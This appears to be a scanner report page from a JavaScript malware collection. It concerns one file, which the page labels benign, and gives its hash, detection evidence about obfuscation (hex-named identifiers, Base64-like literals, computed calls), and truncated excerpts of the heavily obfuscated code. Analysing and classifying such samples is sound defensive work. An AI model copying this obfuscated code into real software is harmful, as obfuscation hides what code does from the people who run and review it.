Benign javascript-malware-collection Download

20170218_2d2f63d8f4470e88e509c59119635bd9.js

Obfuscator output mangles, rotates and flattensBrowser automation cookie insertion call

SHA-256e32cf3cbdccce77180e8bc14e35d45da1320275a67a3c4e916fbc797716fe8fa

MaleculeK(Li)O₄(As₆AlPS)H₅(Cm₂Cr₂Db₉OsPo₃)Md

Evidence

Hex-prefixed function names (_0x pattern) line 1

1var _0x9507=['\x5a\x4d\x4b\x46\x77\x72\x54\x44\x6d\x73\x4f\x33\x4b\x38\x4b\x64\x65\x73\x4b\x77\x77\x35\x41\x3d','\x77\x36\x46\x48\x63\x38\x4b\x71\x77\x37\x45\x3d','\x50\x43\x44\x43\x6a\x51\x3d\x3d','\x47\x6b\x66\x43\x68\x77\x3d\x3d','\x4b\x63\x4b\x66\x77\x70\x6f\x3d','\x51\x4d\x4f\x30\x77\x71\x6f\x3d','\x77\x34\x63\x78\x77\x34\x4a\x51\x45\x63\x4b\x4b\x4b\x44\x2f\x44\x68\x38\x4b\x76\x77\x70\x58\x44\x68\x33\x38\x3d','\x77\x6f\x63\x79\x77\x70\x41\x3d','\x77\x34\x64\x2f\x77\x34\x63\x3d','\x41\x6c\x34\x47','\x43\x63\x4b\x66\x77\x71\x48\x43\x70\x56\x59\x72','\x77\x70\x50\x43\x6c\x6c\x6b\x3d','\x55\x4d\x4f\x72\x45\x54\x76\x44\x6a\x6e\x76\x …

Several padded Base64-looking literals line 1

1:1797… 7\x36\x54\x44\x6d\x48\x70\x4e\x77\x6f\x67\x79\x65\x38\x4b\x67','\x55\x52\x54\x44\x6d\x79\x76\x43\x68\x56\x6a\x43\x67\x38\x4b\x53\x77\x35\x30\x74\x77\x70\x63\x4d\x54\x56\x46\x7a\x77\x35\x76\x43\x6a\x73\x4b\x54\x77\x71\x58\x43\x6e\x58\x6c\x48\x65\x56\x70\x46 …

Base64 literal holds 16 or 32 bytes line 1

1:2257… c\x63\x4f\x68\x77\x36\x5a\x4d\x77\x70\x72\x44\x71\x67\x3d\x3d','\x77\x71\x55\x49\x43\x4d\x4b\x75\x45\x31\x62\x43\x75\x73\x4f\x62\x77\x36\x64\x77\x43\x38\x4f\x73\x77\x37\x66\x43\x6c\x73\x4b\x56\x77\x70\x66\x44\x6b\x51\x3d\x3d','\x77\x6f\x48\x43\x71\x63\x4f\x4f\x57\x73\x4b\x57','\x77\x70\x66\x43\x6f\x63\x4f\x42\x56\x73\x4b\x53\x77\x72\x62\x43\x71\x33\x37\x44\x71\x77\x3d\x3d','\x77\x72\x45\x69\x77\x70\x7a\x43\x71\x73\x4b\x54','\x …

Hex-prefixed variable names (_0x pattern) line 1

1:5829… 77\x6f\x50\x44\x6a\x67\x3d\x3d'];(function(_0x155f4e,_0x5c8dec){var _0x339339=function(_0x55a838){while(--_0x55a838){_0x155f4e['\x70\x75\x73\x68'](_0x155f4e['\x73\x68\x69\x66\x74']());}};var _0x2c4fb4=function(){var _0x15d419={'\x64\x61\x74\x61':{'\x6b\x65\x79':'\x63\x6f\x6f\x6b\x69\x65','\x76\x61\x6c\x75\x65':'\x74\x69\x6d\x65\x6f\x75\x74'},'\x73\x65\ …

Obfuscated computed call cluster line 1

1:6914… |function(_0x4f25fb){return _0x4f25fb;};var _0x4348ee=_0x1c9c6d(new RegExp('\x28\x3f\x3a\x5e\x7c\x3b\x20\x29'+_0x577bee['\x72\x65\x70\x6c\x61\x63\x65'](/([.$?*|{}()[]\/+^])/g,'\x24\x31')+'\x3d\x28\x5b\x5e\x3b\x5d\x2a\x29'));var _0x568272=function(_0x3bd88b,_0x1ab8e7){_0x3bd88b(++ …